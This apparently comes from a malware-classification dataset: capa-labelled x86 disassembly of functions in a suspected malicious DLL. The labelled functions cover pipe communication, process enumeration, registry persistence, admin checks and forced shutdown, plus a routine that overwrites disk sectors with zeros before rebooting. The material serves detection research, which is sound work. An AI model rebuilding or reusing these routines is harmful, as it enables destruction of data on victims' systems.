joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000adce
Capabilities:
Accept command line arguments
Connect pipe
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
and dword [ebp - 8], 0
push ebx
push esi
push edi
xor al, al
mov ebx, 0x210
mov esi, 0x104
push esi
push dword [ebp + 8]
lea edi, [ebp - 0x42c]
mov ecx, ebx
rep stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x428]
push eax
mov dword [ebp - 0x42c], 0x31338
call edi
push esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x324]
push eax
call edi
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x220], eax
call fcn.100021e8
push eax
lea eax, [ebp - 0x114]
push eax
call edi
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_StrNCatA]
lea eax, [ebp - 0x114]
push eax
call fcn.1001253a
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000ae73
push 0x8d
push 0xb
mov edx, 0x100292d4
call fcn.100117e3
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000ae8c
sub eax, ecx
mov dword [ebp + 8], eax
call edi
push eax
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
call fcn.10012238
test eax, eax
je 0x1000afab
push esi
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.10012106
mov dword [ebp + 8], eax
test eax, eax
je 0x1000af4b
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x1000aefc
push 0x8b
push 0xa
mov eax, edi
mov edx, 0x10029170
call fcn.100117e3
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.1001b369
push eax
push edi
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x21c]
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000af25
lea ecx, [ebp - 0x21c]
push ecx
sub eax, esi
lea ecx, [ebp - 0x114]
push ecx
mov esi, eax
call fcn.100124f2
mov esi, dword [ebp + 8]
call fcn.1001272d
call fcn.10001b85
test eax, eax
jne 0x1000af84
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10010fac
cmp eax, 0x2000
jb 0x1000af84
push 0
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 0x42c]
push eax
push ebx
push eax
push 0x1002bf68
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
jmp 0x1000afab
mov esi, ebx
call fcn.10012679
test eax, eax
je 0x1000afab
push 1
push eax
mov edi, eax
mov ecx, 0x84
lea esi, [ebp - 0x42c]
push 0x1000abae
rep movsd dword es:[edi], dword [esi]
call fcn.1001007b
lea esp, [ebp - 0x43c]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1000b300
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push 2
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x1000b3c3
mov esi, 0x104
push esi
lea ecx, [ebp - 0x104]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
jne 0x1000b363
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000b354
push 0x80
push 0xa
mov edx, 0x1002979c
call fcn.100117e3
push esi
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea esi, [ebp - 0x104]
call fcn.1000b014
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x1000b38e
test cl, cl
je 0x1000b38a
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x1000b38e
add eax, 2
add esi, 2
test cl, cl
jne 0x1000b36e
xor eax, eax
jmp 0x1000b393
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000b3c3
mov esi, dword [0x1002c094]
mov dword [0x1002c19c], 1
test esi, esi
je 0x1000b3b7
call fcn.1001272d
and dword [0x1002c094], 0
lea eax, [ebp - 0x104]
push eax
call fcn.1000b0a8
lea esp, [ebp - 0x108]
pop esi
leave
ret 4
Function at 0x1000bad5
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x1002c1cc]
test eax, eax
je 0x1000baf9
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [0x1002c1cc]
call fcn.10010350
and dword [0x1002c1cc], 0
jmp 0x1000bee4
push 0
push 0
push 0x1000be52
call fcn.1001007b
mov dword [0x1002c1cc], eax
ret
Function at 0x1000ca47
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x954
push ebx
push esi
push edi
mov esi, 0x40c
xor edi, edi
push esi
lea eax, [ebp - 0x53c]
push edi
push eax
mov dword [ebp - 0x540], edi
call sub.ntdll.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x94c]
push edi
push eax
xor ebx, ebx
mov dword [ebp - 0x950], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x124
lea eax, [ebp - 0x12c]
push edi
push eax
mov dword [ebp - 0x130], edi
call sub.ntdll.dll_memset
add esp, 0xc
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000cb97
lea ecx, [ebp - 0x130]
push ecx
push eax
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000cb8f
mov esi, dword [ebp - 0x128]
cmp esi, edi
je 0x1000cb34
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x1000cb34
cmp esi, 4
je 0x1000cb34
push esi
call fcn.1000c872
test eax, eax
jne 0x1000cb34
push esi
call fcn.10010245
test eax, eax
jne 0x1000cb0e
push esi
call fcn.1000c8d9
jmp 0x1000cb34
push edi
push dword [ebp - 0x128]
push 0x1000c998
call fcn.1001007b
mov dword [ebp + ebx*4 - 0x540], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp + ebx*4 - 0x950], eax
inc ebx
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000cad9
cmp ebx, edi
je 0x1000cb8f
push 0x2710
push 1
lea eax, [ebp - 0x540]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
cmp ebx, edi
jbe 0x1000cb8f
mov edi, dword [ebp + esi*4 - 0x950]
push edi
call fcn.1000c872
test eax, eax
jne 0x1000cb7e
push edi
call fcn.1000c8d9
push dword [ebp + esi*4 - 0x540]
call fcn.10010350
inc esi
cmp esi, ebx
jb 0x1000cb67
push dword [ebp - 4]
call fcn.10010350
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000f02b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x107]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x108], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call sub.ntdll.dll_memset
add esp, 0x18
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetParent]
lea edi, [esi + 1]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
je 0x1000f08d
push edi
lea ecx, [ebp - 0x108]
push ecx
push eax
call esi
push edi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x20c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x1000f0a3
sub eax, ecx
jne 0x1000f0c2
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000f0b7
sub eax, edx
je 0x1000f12a
mov eax, edi
call fcn.1001dad0
mov dword [ebp + 8], esp
cmp esp, ebx
je 0x1000f12a
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
xor esi, esi
push dword [esi + 0x1002ab78]
mov eax, dword [ebp + 8]
push dword [esi + 0x1002ab74]
mov edx, dword [esi + 0x1002ab70]
call fcn.100117e3
push eax
lea eax, [ebp - 0x108]
push eax
call edi
test eax, eax
jne 0x1000f11e
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
jne 0x1000f11e
add esi, 0x1c
inc ebx
cmp esi, 0x118
jb 0x1000f0d8
jmp 0x1000f12a
imul ebx, ebx, 0x1c
add ebx, 0x1002ab70
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x218]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1000f38d
Capabilities:
Check internet connectivity via wininet

Disassembly:
push 0x110
push 0x10022a48
call fcn.1001d854
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x1c], ebx
cmp dword [ebp + 8], ebx
je 0x1000f42e
mov dword [ebp - 4], ebx
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov dword [ebp - 0x18], esp
mov eax, esp
cmp eax, ebx
je 0x1000f3e6
push 0x8d
push 9
mov edx, 0x1002636c
call fcn.100117e3
push dword [ebp + 8]
push eax
push 0x104
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push ebx
push 1
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov dword [ebp - 0x1c], eax
jmp 0x1000f41b
or dword [ebp - 4], 0xffffffff
lea edi, [ebp - 0x120]
xor al, al
mov ecx, 0x104
rep stosb byte es:[edi], al
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x12c]
call fcn.1001d88d
ret 4
Function at 0x1001007b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
xor edi, edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x100100c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x100100e3
push 0x1388
call ebx
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
push edi
call esi
mov dword [ebp - 4], eax
cmp eax, edi
je 0x100100e3
push 4
push ebx
push 9
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwSetInformationThread]
cmp dword [ebp + 0x10], edi
je 0x100100e3
push dword [ebp - 4]
call fcn.10010350
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x100101a3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
and dword [esp], 0
push esi
push edi
push 0x124
lea eax, [esp + 0x10]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100101df
xor eax, eax
jmp 0x1001023d
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100101db
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100101fe
sub eax, edx
push 0
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push eax
call fcn.1001b369
cmp eax, dword [ebp + 8]
je 0x10010232
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x100101f7
jmp 0x10010235
xor edi, edi
inc edi
push esi
call fcn.10010350
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10010386
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push ebx
push edi
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.ntdll.dll_memset
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x103
stosd dword es:[edi], eax
lea eax, [ebp - 0x163]
push ebx
push eax
mov byte [ebp - 0x164], bl
call sub.ntdll.dll_memset
add esp, 0x18
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10010419
push dword [ebp - 0x10]
call fcn.10010350
push dword [ebp - 0x14]
call fcn.10010350
xor eax, eax
inc eax
jmp 0x1001041b
xor eax, eax
pop edi
pop ebx
leave
ret 4
Function at 0x10010421
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
mov edx, 0x9c
xor al, al
mov ecx, edx
lea edi, [ebp - 0xb4]
rep stosb byte es:[edi], al
lea eax, [ebp - 0xb4]
push eax
xor ebx, ebx
mov dword [ebp - 0xb4], edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x1001045e
xor eax, eax
jmp 0x1001053e
cmp dword [ebp - 0xa4], 2
jne 0x10010538
cmp dword [ebp - 0xb0], 6
jb 0x10010538
lea eax, [ebp - 4]
push eax
push 8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10010534
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push 0x12
push dword [ebp - 4]
mov dword [ebp - 0x10], ebx
call esi
test eax, eax
jne 0x100104bf
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10010457
cmp dword [ebp - 0x18], 3
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x10010527
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x13
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call esi
test eax, eax
je 0x100104b4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xf8]
push eax
push ebx
push 0x1a
mov dword [ebp - 0x14], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x10010520
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xf8]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x10010520
mov ebx, dword [ebp - 0xc]
push dword [ebp - 8]
call edi
jmp 0x1001052f
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov ebx, eax
push dword [ebp - 4]
call edi
mov eax, ebx
jmp 0x1001053e
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100105dd
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, 0x103
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x20c], bl
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.ntdll.dll_memset
add esp, 0x18
cmp dword [ebp + 8], ebx
je 0x10010711
cmp dword [ebp + 0xc], ebx
je 0x10010711
lea edi, [esi + 1]
push edi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x34
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x10010666
push 0x81
push 0x31
mov edx, 0x10025f4c
call fcn.100117e3
lea ecx, [ebp - 4]
push ecx
push 0x20206
push ebx
push eax
mov esi, 0x80000001
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, 2
jne 0x10010690
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
cmp eax, ebx
jne 0x10010703
push 0x30
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x100106b3
push 0x92
push 0x2d
mov edx, 0x10025f1c
call fcn.100117e3
lea ecx, [ebp - 0x20c]
push ecx
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
lea eax, [ebp - 0x108]
add esp, 0x10
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100106d5
sub eax, esi
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10010703
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
cmp dword [ebp - 4], ebx
je 0x10010711
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0x218]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1001091c
Capabilities:
Get disk information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1002c728]
sub esp, 0x104
push esi
xor esi, esi
cmp eax, esi
jne 0x10010998
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, esi
je 0x1001094d
push 0x7f
push 0xb
mov edx, 0x1002657c
call fcn.100117e3
push 0x104
lea ecx, [ebp - 0x104]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push esi
push esi
push esi
push 0x1002c728
push esi
push esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x10010993
mov dword [0x1002c728], 0xff00ff
mov eax, dword [0x1002c728]
lea esp, [ebp - 0x108]
pop esi
leave
ret
Function at 0x10010ce7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x28], bl
push esi
push edi
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
stosb byte es:[edi], al
mov dword [ebp - 0x14], 0x101
mov dword [ebp - 0x10], 0x10000000
mov dword [ebp - 0xc], 0x1000
cmp dword [ebp + 8], ebx
je 0x10010e08
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 5
jb 0x10010e08
push 1
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x10010e08
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x10010d67
push 0x8c
push 0xc
mov edx, 0x10025e48
call fcn.100117e3
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp + 8], eax
cmp eax, ebx
je 0x10010e08
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x10010d98
push 0x95
push 0xf
mov edx, 0x10025e30
call fcn.100117e3
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, ebx
je 0x10010de0
mov esi, 0x104
call fcn.10012679
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10010de0
push 2
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push 4
push dword [ebp - 4]
call edi
push ebx
push dword [ebp - 4]
lea eax, [ebp - 0x28]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
push ebx
xor esi, esi
inc esi
push esi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 8], esi
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x10010e08
call fcn.1001272d
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x34]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10010e15
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
mov esi, 0x100
push edi
mov edi, esi
jmp 0x10010e55
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x10
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x10010e64
call fcn.1001272d
mov eax, dword [ebp - 4]
test eax, eax
je 0x10010e60
lea edi, [eax + 0x100]
mov esi, edi
call fcn.10012679
mov esi, eax
test esi, esi
jne 0x10010e28
xor eax, eax
jmp 0x10010e75
test eax, eax
jns 0x10010e73
test esi, esi
je 0x10010e60
call fcn.1001272d
jmp 0x10010e60
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x10010f26
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov esi, 0x214
call fcn.10012679
mov esi, eax
xor edi, edi
cmp esi, edi
je 0x10010fa6
mov eax, dword [ebp + 8]
push ebx
push edi
push edi
push esi
push 0x10010f01
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
push 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10010f70
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call fcn.10010350
mov ebx, 0x104
push ebx
push edi
push dword [ebp + 0xc]
call sub.ntdll.dll_memset
mov eax, dword [esi + 4]
add esp, 0xc
push edi
push edi
push ebx
push dword [ebp + 0xc]
shr eax, 1
push eax
lea eax, [esi + 8]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call fcn.1001272d
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x10011041
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
test esi, esi
je 0x10011099
push 0x3c
pop edx
xor al, al
mov ecx, edx
lea edi, [ebp - 0x3c]
rep stosb byte es:[edi], al
and dword [ebp - 0x20], 0
and dword [ebp - 0x28], 0
push 8
pop eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x2c], esi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x10011085
push 0x86
push 4
mov edx, 0x10026518
call fcn.100117e3
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x800040
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea esp, [ebp - 0x40]
pop edi
leave
ret
Function at 0x10011577
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10011599
xor eax, eax
jmp 0x10011602
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
xor esi, esi
cmp eax, esi
je 0x100115ba
push 0x96
push 0x13
mov edx, 0x10026608
call fcn.100117e3
lea ecx, [ebp - 0x10]
push ecx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10011595
push 0x80020003
push 5
call dword [sym.imp.USER32.dll_ExitWindowsEx]
neg eax
sbb eax, eax
neg eax
lea esp, [ebp - 0x18]
pop esi
leave
ret

Function at 0x1001168f
Capabilities:
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x510
push ebx
push esi
push edi
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x310]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x100117a8
mov dword [ebp - 4], edi
jbe 0x100116ff
xor eax, eax
lea edi, [ebp + eax - 0x310]
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x100116f1
push edi
call fcn.100122c3
add dword [ebp - 4], 4
movzx eax, word [ebp - 4]
cmp eax, ebx
jb 0x100116d8
xor edi, edi
push esi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x1001172c
push 0x8e
push 0xa
mov edx, 0x10026174
call fcn.100117e3
movsx ecx, byte [ebp - 0x108]
push ecx
push eax
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push edi
push edi
push 3
push edi
push 3
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100117a8
mov dword [ebp - 4], edi
mov esi, 0x200
xor al, al
lea edi, [ebp - 0x510]
mov ecx, esi
rep stosb byte es:[edi], al
xor edi, edi
push edi
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x510]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.10011577
test eax, eax
jne 0x100117d3
call fcn.10011608
lea eax, [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, dword [ebp - 4]
test edi, edi
je 0x100117d3
call fcn.10010543
call sym.payload.x86.dll_Ordinal_1
lea esp, [ebp - 0x51c]
pop edi
pop esi
pop ebx
leave
ret